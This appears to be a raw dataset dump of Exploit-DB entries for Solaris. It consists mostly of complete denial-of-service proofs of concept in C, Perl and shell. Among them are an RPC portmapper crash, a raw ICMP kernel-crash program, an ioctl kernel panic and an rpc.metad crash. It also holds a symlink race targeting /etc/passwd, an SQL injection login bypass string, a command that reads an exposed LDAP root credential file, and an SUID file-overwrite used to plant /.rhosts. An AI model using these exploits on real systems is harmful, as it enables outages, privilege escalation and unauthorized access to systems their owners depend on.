deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19681
Description: Solaris 7.0 - DMI Denial of Service
Type: dos
Platform: solaris
Date: 1999-12-22
Author: Brock Tellier

Exploit:
source: https://www.securityfocus.com/bid/878/info

DMI is the Desktop Management Interface, and is a suite of application management programs shipped with Sun's Solaris. Each application that is managed through DMI has a MIF record (which contains information about its managable components and properties) that can be inserted into the MIF database (/var/dmi/db) through the dmisp (DMI Service Providor) daemon. There is no authentication performed on who submits new MIFs, meaning anybody can do it. This creates two possible denial of service conditions. The first is consumption of disk space in /var. There are no limits (set by default) on how much space the DMI database can use. This may be used in conjunction with other vulnerabilities to prevent logging, etc. A second vulnerability is a buffer overflow condition in dmispd when MIFs are a certain size. It may be exploitable beyond being a simple denial of service (it may be possible to execute arbitrary code as root remotely). 

Buffer Overflow Crash:

echo `perl -e "print 'A' x 1000"` > /usr/home/btellier/my.mif
dmi_cmd -CI ../../../usr/home/btellier/my.mif

(dmispd segfaults)
Exploit-DB #19507
Description: Solaris 7.0 - Recursive mutex_enter Remote Panic (Denial of Service)
Type: dos
Platform: solaris
Date: 1999-09-23
Author: David Brumley

Exploit:
source: https://www.securityfocus.com/bid/655/info

A vulnerability in Solaris TCP/IP stack may allow remote users to panic the system.

If the nmap network mapping utility is used with the OS fingerprinting option ('-O') against an active listening port and the server listening on that port is then killed the system will panic because of recursive calls to mutex_enter within the TCP streams driver.

$nmap -O -p 80 targethost.com
Exploit-DB #6775
Description: Solaris 9 PortBind - XDR-DECODE 'taddr2uaddr()' Remote Denial of Service
Type: dos
Platform: solaris
Date: 2008-10-17
Author: Federico L. Bossi Bonin

Exploit:
/*
////////////////////////////////////////////////////////////
// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
////////////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]globalST[dot]com[dot]ar
/////////////////////////////////////////////////////


Program received signal SIGSEGV, Segmentation fault.
0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
(gdb) backtrace
#0  0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
#1  0x00013d88 in rpcbproc_taddr2uaddr_com ()
#2  0x000161c0 in rpcb_service_4 ()
(gdb)

*/

#include <string.h>
#include <rpc/rpc.h>

struct xdr {
        long long_arg;
        char *string_arg;
};

typedef struct xdr xdr;
static struct timeval TIMEOUT = { 25, 0 };

bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
        register int32_t *buf;

         if (!xdr_long (xdrs, &objp->long_arg))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->string_arg, 4096))
                 return FALSE;
        return TRUE;
}

char ** str_4(xdr *argp, CLIENT *clnt) {
        static char *clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call (clnt, 8,
                (xdrproc_t) xdr_xdr, (caddr_t) argp,
                (xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
                TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}

main(int argc, char *argv[]) {
  CLIENT *c1;
  char *server;
  char **sresult;


  if (argc !=2){
    printf("=============================================================\n");
    printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");
    printf("-------------------------------------------------------------\n");
    printf("Federico L. Bossi Bonin <fbossi@globalST.com.ar>\n");
    printf("=============================================================\n\n");
    printf("usage: %s <IP>\n",argv[0]);
    exit(1);
  }

  server = argv[1];

if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
       clnt_pcreateerror(server);
    exit(1);
  }

  xdr xdrmessage; 
  xdrmessage.long_arg = 0;
  xdrmessage.string_arg="";

  if ((sresult = str_4(&xdrmessage, c1)) == NULL){ 
   clnt_perror(c1, server);
   exit(1);
  }

  clnt_destroy(c1);
  exit(0);
}

// milw0rm.com [2008-10-17]
Exploit-DB #11351
Description: Solaris/Open Solaris UCODE_GET_VERSION IOCTL - Denial of Service
Type: dos
Platform: solaris
Date: 2010-02-07
Author: Patroklos Argyroudis

Exploit:
/*
 * cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com
 *
 * Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION
 * ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris:
 *
 * http://www.trapkit.de/advisories/TKADV2010-001.txt
 * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453
 *
 * Greets to Tobias Klein for discovering the vulnerability and for his
 * detailed (as always) advisory.
 *
 * $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUF_SIZE            64
#define UCODE_DEV           "/dev/ucode"

#define UCODE_IOC           (('u' << 24) | ('c' << 16) | ('o' << 8))
#define UCODE_GET_VERSION   (UCODE_IOC | 0)

typedef enum ucode_errno
{
    EM_OK,
    EM_FILESIZE,
    EM_OPENFILE,
    EM_FILEFORMAT,
    EM_HEADER,
    EM_CHECKSUM,
    EM_INVALIDARG,
    EM_NOMATCH,
    EM_HIGHERREV,
    EM_NOTSUP,
    EM_UPDATE,
    EM_SYS,
    EM_NOVENDOR,
    EM_NOMEM
} ucode_errno_t;

struct ucode_get_rev_struct
{
    uint32_t *ugv_rev;
    int ugv_size;
    ucode_errno_t ugv_errno;
};

int
main()
{
    int fd, ret;
    uint32_t buf[BUF_SIZE];
    struct ucode_get_rev_struct in_h;

    memset(buf, 0x41, BUF_SIZE);

    in_h.ugv_rev = buf;
    in_h.ugv_size = 0;

    fd = open(UCODE_DEV, O_RDONLY);
    ret = ioctl(fd, UCODE_GET_VERSION, &in_h);

    printf("[+] ret = %d\n", ret);
    printf("[+] ugv_errno = %d\n", in_h.ugv_errno);

    close(fd);
    return ret;
}

/* EOF */
Exploit-DB #28911
Description: Sun Solaris 10 - 'UFS' Local Denial of Service
Type: dos
Platform: solaris
Date: 2006-11-04
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/20919/info

Sun Solaris 10 is prone to a local denial-of-service vulnerability. This issue affects the UFS filesystem-handling code.

An attacker can exploit this issue to crash the affected computer, denying service to legitimate users.

Solaris 10 on the ia32/x86 architecture has been reported vulnerable; previous versions may be affected as well, but Symantec has not confirmed this.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28911.img.gz
Exploit-DB #29540
Description: Sun Solaris 10 - ICMP Remote Denial of Service
Type: dos
Platform: solaris
Date: 2007-01-30
Author: kcope

Exploit:
// source: https://www.securityfocus.com/bid/22323/info

Sun Solaris is prone to a remote denial-of-service vulnerability.

A successful attack can trigger a crash in the operating system, leading to a denial-of-service condition for legitimate users.

Solaris 10 is affected by this issue. 

/*
 SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope
 Null Pointer Dereference in Kernel Space
 Seems to work only if attacked in the same network segment,
 maybe because of firewalls/routers in place.
 
 This seems to be the issue described in bid 22323.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

unsigned char rawData[77] =
{
    0x45, 0xFF, 0x00, 0x4D, 0x0C, 0x52, 0x00, 0x00, 0x7E, 0x01, 0x0C, 0xF2, 0xE0, 0x5A, 0x73, 0x12,
    0xC0, 0xA8, 0x0E, 0x58, 0x08, 0xDE, 0xAE, 0x37, 0x6F, 0x3B, 0x66, 0xA7, 0x60, 0xAA, 0x76, 0xC1,
    0xEC, 0xA7, 0x7D, 0xFA, 0x8A, 0x72, 0x8E, 0xC6, 0xE3, 0xD2, 0x64, 0x13, 0xE7, 0x4D, 0xBC, 0x01,
    0x40, 0x5B, 0x8E, 0x8B, 0xE5, 0xEE, 0x5E, 0x37, 0xDD, 0xC2, 0x54, 0x8E, 0x8D, 0xCE, 0x0C, 0x42,
    0x97, 0xA1, 0x8C, 0x04, 0x8A, 0xC2, 0x6B, 0xAE, 0xE9, 0x2E, 0xFE, 0xD4, 0x4B,
} ;

long resolve(char *host)
{
  struct hostent *hst;
  long addr;

  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);

  memcpy(&addr, hst->h_addr, hst->h_length);
  memcpy(rawData+16, &addr, sizeof(long));

  return(addr);
}

int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  long saddr, daddr;
  int s;

  if (argc < 2)
  {
    printf("SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope\n");
    printf("Usage: %s <dst>\n", *argv);
    return(1);
  }

  daddr = resolve(argv[1]);
  saddr = INADDR_ANY;

  memcpy(rawData+16, &daddr, sizeof(long));
//  memcpy(rawData+12, &saddr, sizeof(long));

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending ICMP packet: %s\n", argv[1]);

      if (sendto(s,&rawData,77,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}
Exploit-DB #34027
Description: Sun Solaris 10 - Nested Directory Tree Local Denial of Service
Type: dos
Platform: solaris
Date: 2010-05-21
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/40319/info

Sun Solaris is prone to a local denial-of-service vulnerability.

Exploiting this issue allows local users to cause denial-of-service conditions in certain filesystem commands.

Sun Solaris 10 is affected, other versions may also be vulnerable. 

perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }'
Exploit-DB #19326
Description: Sun Solaris 7.0 - 'procfs' Denial of Service
Type: dos
Platform: solaris
Date: 1999-03-09
Author: Toomas Soome

Exploit:
source: https://www.securityfocus.com/bid/448/info

A nonpriviliged user can crash any 32 or 64 bit non-intel machine running Solaris 7 by executing the following:

more /proc/self/psinfo

This is due to a bug in the Solaris 7 procfs. 

%more /proc/self/psinfo

[crash]
Exploit-DB #29406
Description: Sun Solaris 9 - RPC Request Denial of Service
Type: dos
Platform: solaris
Date: 2007-01-09
Author: Federico L. Bossi Bonin

Exploit:
// source: https://www.securityfocus.com/bid/21964/info

The Solaris operating system is prone to a denial-of-service vulnerability. 

An attacker can exploit this issue to crash the 'rpcbind(1M)' server, denying service to legitimate users.

/*
////////////////////////////////////////////////////////////
// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
////////////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]globalST[dot]com[dot]ar
/////////////////////////////////////////////////////


Program received signal SIGSEGV, Segmentation fault.
0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
(gdb) backtrace
#0  0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
#1  0x00013d88 in rpcbproc_taddr2uaddr_com ()
#2  0x000161c0 in rpcb_service_4 ()
(gdb)

*/

#include <string.h>
#include <rpc/rpc.h>

struct xdr {
        long long_arg;
        char *string_arg;
};

typedef struct xdr xdr;
static struct timeval TIMEOUT = { 25, 0 };

bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
        register int32_t *buf;

         if (!xdr_long (xdrs, &objp->long_arg))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->string_arg, 4096))
                 return FALSE;
        return TRUE;
}

char ** str_4(xdr *argp, CLIENT *clnt) {
        static char *clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call (clnt, 8,
                (xdrproc_t) xdr_xdr, (caddr_t) argp,
                (xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
                TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}

main(int argc, char *argv[]) {
  CLIENT *c1;
  char *server;
  char **sresult;


  if (argc !=2){
    printf("=============================================================\n");
    printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");
    printf("-------------------------------------------------------------\n");
    printf("Federico L. Bossi Bonin <fbossi@globalST.com.ar>\n");
    printf("=============================================================\n\n");
    printf("usage: %s <IP>\n",argv[0]);
    exit(1);
  }

  server = argv[1];

if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
       clnt_pcreateerror(server);
    exit(1);
  }

  xdr xdrmessage;
  xdrmessage.long_arg = 0;
  xdrmessage.string_arg="";

  if ((sresult = str_4(&xdrmessage, c1)) == NULL){
   clnt_perror(c1, server);
   exit(1);
  }

  clnt_destroy(c1);
  exit(0);
}
Exploit-DB #4881
Description: SunOS 5.10 - Remote ICMP Kernel Crash
Type: dos
Platform: solaris
Date: 2008-01-10
Author: kingcope

Exploit:
/*
 SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope
 Null Pointer Dereference in Kernel Space
 Seems to work only if attacked in the same network segment,
 maybe because of firewalls/routers in place.
 
 This seems to be the issue described in bid 22323.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

unsigned char rawData[77] =
{
    0x45, 0xFF, 0x00, 0x4D, 0x0C, 0x52, 0x00, 0x00, 0x7E, 0x01, 0x0C, 0xF2, 0xE0, 0x5A, 0x73, 0x12,
    0xC0, 0xA8, 0x0E, 0x58, 0x08, 0xDE, 0xAE, 0x37, 0x6F, 0x3B, 0x66, 0xA7, 0x60, 0xAA, 0x76, 0xC1,
    0xEC, 0xA7, 0x7D, 0xFA, 0x8A, 0x72, 0x8E, 0xC6, 0xE3, 0xD2, 0x64, 0x13, 0xE7, 0x4D, 0xBC, 0x01,
    0x40, 0x5B, 0x8E, 0x8B, 0xE5, 0xEE, 0x5E, 0x37, 0xDD, 0xC2, 0x54, 0x8E, 0x8D, 0xCE, 0x0C, 0x42,
    0x97, 0xA1, 0x8C, 0x04, 0x8A, 0xC2, 0x6B, 0xAE, 0xE9, 0x2E, 0xFE, 0xD4, 0x4B,
} ;

long resolve(char *host)
{
  struct hostent *hst;
  long addr;

  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);

  memcpy(&addr, hst->h_addr, hst->h_length);
  memcpy(rawData+16, &addr, sizeof(long));

  return(addr);
}

int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  long saddr, daddr;
  int s;

  if (argc < 2)
  {
    printf("SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope\n");
    printf("Usage: %s <dst>\n", *argv);
    return(1);
  }

  daddr = resolve(argv[1]);
  saddr = INADDR_ANY;

  memcpy(rawData+16, &daddr, sizeof(long));
//  memcpy(rawData+12, &saddr, sizeof(long));

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending ICMP packet: %s\n", argv[1]);

      if (sendto(s,&rawData,77,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}

// milw0rm.com [2008-01-10]
Exploit-DB #5258
Description: SunOS 5.10 Sun Cluster - 'rpc.metad' Denial of Service (PoC)
Type: dos
Platform: solaris
Date: 2008-03-14
Author: kingcope

Exploit:
/*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC              #*/
/*## causes DoS on rpc.metad                     	   #*/
/*## (C) 2008 - Kingcope                                   #*/
/*##########################################################*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=0,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("rpc.metad for solaris 10\n\n");

    if(argc<2){
        printf("usage: %s address\n",argv[0]);
        exit(-1);
    }

    printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);

    printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

    memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
    buffer[3000]=0;

    req.string=buffer;

    stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
    if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
    printf("sent!\n"); /* if(!flag) exit(0);*/

    }
}

// milw0rm.com [2008-03-14]
Exploit-DB #235
Description: SunOS 5.7 Catman - Local Insecure tmp Symlink Clobber
Type: dos
Platform: solaris
Date: 2000-12-20
Author: lwc

Exploit:
#!/usr/local/bin/perl -w 
#
# The problem is catman creates files in /tmp
# insecurly. They are based on the PID of the
# catman process, catman will happily clobber
# any files that  are symlinked to that file.
# The idea of this  script  is  to  watch the
# process  list  for  the catman process, get
# the pid and Create a symlink in /tmp to our
# file to be clobbered.  This exploit depends
# on  system  speed  and  process  load. This
# worked on a patched Solaris 2.7 box (August
# 2000 patch cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u
# sparc SUNW,Ultra-1 lwc@vapid.betteros.org
# 11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd";
while(1) {
  open ps,"ps -ef | grep -v grep |grep -v PID |";
  while(<ps>) {
    @args = split " ", $_;
    if (/catman/) { 
      print "Symlinking sman_$args[1] to  $clobber\n";
      symlink($clobber,"/tmp/sman_$args[1]");
      exit(1);
    }
  }
}


# milw0rm.com [2000-12-20]
Exploit-DB #25703
Description: Active News Manager - 'login.asp' SQL Injection
Type: local
Platform: solaris
Date: 2005-05-25
Author: Romty

Exploit:
source: https://www.securityfocus.com/bid/13759/info

Active News Manager is prone to an SQL injection vulnerability. This issue affects the 'login.asp' script.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker can gain unauthorized access to an affected site.

All versions are considered to be vulnerable at the moment. 

Uername =admin
Password= ' or ''='
Exploit-DB #20003
Description: Intel Corporation Shiva Access Manager 5.0 - Solaris World Readable LDAP Password
Type: local
Platform: solaris
Date: 2000-06-06
Author: Blaise St. Laurent

Exploit:
source: https://www.securityfocus.com/bid/1329/info

The Shiva Access Manager is a solution for centralized remote access authentication, authorization, and accounting offered by Intel. It runs on Solaris and Windows NT. Shiva Access Manager is vulnerable to a default configuration problem in its Solaris version (and possibly for NT as well, though uncomfirmed). When configuring the Access Manager for LDAP, it prompts for the root "Distinguished Name" and password. It stores this information in a textfile that is owned by root and set world readable by default, $SHIVA_HOME_DIR/insnmgmt/shiva_access_manager/radtac.ini. This file also contains information such as the LDAP server's hostname and server port. This information can be used to completely compromise the LDAP server. 

cat $SHIVA_HOME_DIR/insnmgmt/shiva_access_manager/radtac.ini

(proceed then to do whatever LDAP attacks you like)
Exploit-DB #20715
Description: Junsoft JSparm 4.0 - Logging Output File
Type: local
Platform: solaris
Date: 2001-03-23
Author: KimYongJun

Exploit:
source: https://www.securityfocus.com/bid/2515/info

JSparm is the Junsoft Performance Analysis Report Maker package. This software package provides an enhanced perfmon performance monitoring package and interface, as well as a performance report generation interface.

A problem with the package could make it possible for a user with local access to overwrite any file on the system. It is possible for a user to launch the perfmon program from the command line interface, and create a logfile of activity monitored by the perfmon package. The user may specify the file in which the activity should be logged. Insufficient checking of file permissions, as well as the program being SUID, make it possible for the log file to be any file on the system. The file created/overwritten is set to mode 0666.

Therefore, it is possible for a user with local access to overwrite sensitive system files, and gain elevated privileges. 


$ whoami
loveyou
$ umask 0000
$ /opt/JSparm/bin/perfmon &

Choose Logging -> Logging File
In Selection part, input the file path you want to create
ex: /.rhosts

Following file is created in a second.
-rw-rw-rw- 1 root loveyou 144 Mar 9 03:14 .rhost